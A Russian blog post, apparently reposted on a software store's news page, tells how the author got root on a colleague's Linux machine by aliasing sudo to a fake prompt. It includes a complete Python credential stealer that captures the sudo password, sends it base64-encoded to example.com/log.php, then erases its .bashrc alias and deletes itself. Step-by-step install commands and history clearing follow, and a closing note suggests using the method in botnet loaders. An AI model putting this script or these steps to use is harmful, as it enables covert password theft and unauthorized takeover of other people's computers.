+7 (495) 229-0436   shopadmin@itshop.ru 119334, г. Москва, ул. Бардина, д. 4, корп. 3
 
 
Вход
 
 
Каталог
 
 
Подписка на новости
Новости ITShop
Windows 7 и Office: Новости и советы
Обучение и сертификация Microsoft
Вопросы и ответы по MSSQLServer
Delphi - проблемы и решения
Adobe Photoshop: алхимия дизайна
 
Ваш отзыв
Оцените качество магазина ITShop.ru на Яндекс.Маркете. Если вам нравится наш магазин - скажите об этом Google!
 
 
Способы оплаты
 
Курс расчета
 
 1 у.е. = 91.78 руб.
 
 Цены показывать:
 
 
 
 
  
Новости, статьи, акции
 

Линукс - история одного взлома

07.11.2013 16:47
jacob1237

imageПривет, мир!
Сегодня хотел бы поделиться с вами одной поучительной историей о том, как однажды мне удалось получить root-доступ к рабочему компьютеру коллеги и о том, как ужасающе просто оказалось это сделать.

Предыстория

Рабочий день проходил так, как обычно он проходит у любого среднестатистического разработчика: монитор, клавиатура, чай, печеньки… В общем, ничего выдающегося, как всегда, не предвиделось. Утомившись от продолжительной отладки приложения в Xdebug, я решил выйти из офиса и немного подышать свежим воздухом, чтобы хоть чуть-чуть привести голову (к тому времени уже "чугунную") в порядок.

Вернувшись за рабочее место я не успел еще приняться за работу, как вдруг с соседнего стола донесся ехидный голос коллеги:

- Слушай, похоже что у тебя идентификатор процесса браузера это XXXX, да?

Выполнив команду ps -A / grep opera, я увидел что pid действительно именно тот, о котором говорил коллега.

- Да, и что? - невозмутимым голосом ответил я.
- Ничего - сказал коллега и нажал "Enter" на клавиатуре своего компьютера. Окно моего браузера закрылось у меня на глазах.

Я тут же принялся искать процессы в системе, которые могли дать удаленный шелл. Это был не SSH.
Коллега намекнул что это nc (netcat), процесс которого, конечно же, незамедлительно был убит.
Мы оба посмеялись, обсудили этот забавный случай, выяснилось, что на самом деле взлома никакого и не было и что "nc" был запущен из-под моего пользователя в тот момент, пока меня не было на рабочем месте. Just for lulz.
Шутка в общем-то удалась, но подсознательно я решил, что так просто оставлять это дело нельзя, это был вызов!

Мякотка

Однажды в студеную зимнюю пору, аккурат перед самым Новым Годом, я решил что пришла пора взять реванш. Но на этот раз я хотел полностью захватить доступ к компьютеру - получить root.

Новогодние приготовления в офисе создавали изрядную суету и шум. Это был самый подходящий момент, поскольку коллега после произошедшего случая стал блокировать экран, когда отходил от рабочего места. Я знал, что сегодня именно тот день, когда вероятность того, что он забудет сделать блокировку, максимально высока.

Воспользовавшись небольшим "окном" в своем рабочем времени, я начал продумывать план действий по взлому. Основная проблема, которую надо было как-то решить это конечно же непосредственно получение учетной записи root, поскольку всё остальное всего лишь дело техники. Начался активный перебор идей о том, как вообще это можно сделать.

У коллеги стоял Linux Mint 14 "Nadia". Версия ядра - 3.5. Хоть ядро и не такое старое, вероятность быстро найти в свободном доступе работающий локальный эксплойт близка к нулю. Из служб у него кроме Apache толком ничего не стояло, да и Apache он закрыл для наружного доступа.

Откидывая идею за идеей, в итоге меня осенило! А что если попробовать самый простой и самый банальный bash alias?
Решив проверить свое предположение, запускаю у себя терминал (Debian Squeeze), создаю файл test.py с банальным print "Hello, world!", сохраняю в домашнем каталоге, выполняю команду:
alias sudo="$HOME/temp.py"
после этого набираю:
sudo mc
результат:
Hello, world!
Вот оно! Совершенно легальная "дыра" в безопасности. Банально, но эффективно.

А теперь скрипт!
#!/usr/bin/env python # Т.к. нам нужно поменьше символов в скрипте, поступаемся священным PEP # и фигачим весь импорт в одну строку (да простит меня Гвидо!) import os, sys, time, subprocess, getpass, urllib, base64 url = 'http://example.com/log.php?data=%s' user = getpass.getuser() # Имитируем запрос пароля sudo passwd = getpass.getpass("[sudo] password for %s: " % user) msg = user + ':' + passwd home = os.path.expanduser('~') script = sys.argv[0] # На всякий случай сохраняем пароль в файл with open(os.path.join(home, ".xsession-name"), "a+") as f: f.write(msg + "\n") # Самое вкусное - отсылаем пароль на наш gateway urllib.urlopen(url % base64.b64encode(msg)) # Действуем незаметно как ниндзя - стираем строку об алиасе из bashrc with open(os.path.join(home, '.bashrc'), 'r+') as f: lines = f.readlines()[:-1] f.seek(0) f.writelines(lines) f.truncate() # Имитируем задержку при неправильно введенном пароле time.sleep(2) print "Sorry, try again" # Вуаля! А теперь вызываем настоящий sudo subprocess.call(['sudo'] + sys.argv[1:]) # Т.к. мы всё еще ниндзя, самоуничтожаемся и стираем этот скрипт с диска os.system('pkill python & rm %s' % script)

Вкратце: скрипт имитирует запрос пароля sudo, перехватывает пароль и отсылает его на указанный сервер, где информация просто записывается в файл.

Воспользовавшись временным отсутствием коллеги на рабочем месте, я пересел за его компьютер и начал свою "спецоперацию":

1. Создаем постоянный алиас в bashrc:
echo 'alias sudo="'$HOME'/.xsession-lock"' >> $HOME/.bashrc
2. Создаем файл с хитрым именем .xsession-lock, чтобы не бросалось в глаза при листинге /home/user, и сохраняем в него наш Python-скрипт.
3. Устанавливаем права на выполнение .xsession-lock - chmod +x
4. Чистим bash_history!

Первым делом после своего возвращения, коллега, ожидая подвоха, внимательно осмотрел bash_history, и ничего не заметив, начал работать.
Спустя какое-то время, я решил проверить лог-файл на удаленном сервере, который сохранял пароли, и вот она, рыба учетная запись моей мечты - root!
Конечно если быть точным, то на самом деле это пароль от рабочего пользователя коллеги, который давал мне возможность получить root и закрепиться в системе.

Позже я снова дождался когда коллега выйдет из офиса и "поколдовал" над его компьютером уже от имени root, но, к сожалению, неправильно рассчитал время и прокололся! Увы, попался с поличным прямо на месте "преступления".

Мы снова посмеялись, обсудили детали "взлома", а потом дружно и весело всем офисом отметили Новый Год.
Вот такая вот предновогодняя история.

Заключение

В свете того, что Valve выпустила steam под linux, появилась вероятность оттока "хомячков" в сторону Linux-систем и, вместе с тем, вероятность того, что господа из "black hat" нацелят свои взоры на Linux.

Поэтому хотелось бы, чтобы эта статья стала очередным напоминанием о том, что "спасение утопающих - дело рук самих утопающих".
Устанавливая Linux, не думайте о том, что Вы надели "памперс". Ответственность за безопасность Вашей информации всё еще лежит на Вас!

P.S. Описанный выше способ вполне может применяться и в автоматизированном виде, например при создании бот-сетей. По этому принципу вполне можно создать загрузчик, который будет лежать и покорно ждать, когда пользователь введет пароль, будь то sudo, или gksudo, а после уже превратит компьютер в "зомби-машину".
К тому же популярные дистрибутивы поставляются именно с такими настройками по-умолчанию, которые позволяют провернуть метод из данной статьи.
Надеюсь, что в скором времени в мире безопасности *nix систем все-таки ничего не поменяется и не начнут появляться какие-нибудь Lin'локеры и прочая ерунда.

Ссылки по теме

  
Помощь
Задать вопрос
 программы
 обучение
 экзамены
 компьютеры
Бесплатный звонок
ICQ-консультанты
Skype-консультанты

Общая справка
Как оформить заказ
Тарифы доставки
Способы оплаты
Прайс-лист
Карта сайта
 
Бестселлеры
Курсы обучения "Atlassian JIRA - система управления проектами и задачами на предприятии"
Microsoft Windows 10 Профессиональная 32-bit/64-bit. Все языки. Электронный ключ
Microsoft Office для Дома и Учебы 2019. Все языки. Электронный ключ
Курс "Oracle. Программирование на SQL и PL/SQL"
Курс "Основы TOGAF® 9"
Microsoft Office 365 Персональный 32-bit/x64. 1 ПК/MAC + 1 Планшет + 1 Телефон. Все языки. Подписка на 1 год. Электронный ключ
Курс "Нотация BPMN 2.0. Ее использование для моделирования бизнес-процессов и их регламентации"
 

О нас
Интернет-магазин ITShop.ru предлагает широкий спектр услуг информационных технологий и ПО.

На протяжении многих лет интернет-магазин предлагает товары и услуги, ориентированные на бизнес-пользователей и специалистов по информационным технологиям.

Хорошие отзывы постоянных клиентов и высокий уровень специалистов позволяет получить наивысший результат при совместной работе.

В нашем магазине вы можете приобрести лицензионное ПО выбрав необходимое из широкого спектра и ассортимента по самым доступным ценам. Наши менеджеры любезно помогут определиться с выбором ПО, которое необходимо именно вам. Также мы проводим учебные курсы. Мы приглашаем к сотрудничеству учебные центры, организаторов семинаров и бизнес-тренингов, преподавателей. Сфера сотрудничества - продвижение бизнес-тренингов и курсов обучения по информационным технологиям.



 

О нас

 
Главная
Каталог
Новинки
Акции
Вакансии
 

Помощь

 
Общая справка
Как оформить заказ
Тарифы доставки
Способы оплаты
Прайс-лист
Карта сайта
 

Способы оплаты

 

Проекты Interface Ltd.

 
Interface.ru   ITShop.ru   Interface.ru/training   Olap.ru   ITnews.ru  
 

119334, г. Москва, ул. Бардина, д. 4, корп. 3
+7 (495) 229-0436   shopadmin@itshop.ru
Проверить аттестат
© ООО "Interface Ltd."
Продаем программное обеспечение с 1990 года